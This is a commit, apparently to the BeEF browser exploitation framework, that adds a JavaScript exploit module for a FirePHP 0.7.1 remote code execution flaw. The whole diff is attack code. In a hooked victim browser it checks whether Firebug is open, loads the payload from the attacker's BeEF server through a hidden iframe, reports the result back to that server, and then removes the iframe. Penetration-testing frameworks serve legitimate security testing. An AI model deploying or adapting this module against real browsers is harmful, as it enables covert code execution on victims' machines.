Add FirePHP <= 0.7.1 RCE module

@Wireghoul

Fixes issue #885

modules/exploits/firephp/command.js

@@ -0,0 +1,26 @@
+//
+// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+  // detect firebug
+  if (window.console && (window.console.firebug || window.console.exception)) {
+    var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();
+    firephp_<%= @command_id %>.src = "<%= @beef_url %>/firephp";
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+  } else {
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser.");
+    return;
+  }
+
+  // clean up
+  cleanup = function() {
+     document.body.removeChild(firephp_<%= @command_id %>);
+  }
+  setTimeout("cleanup()", 10000);
+
+});
+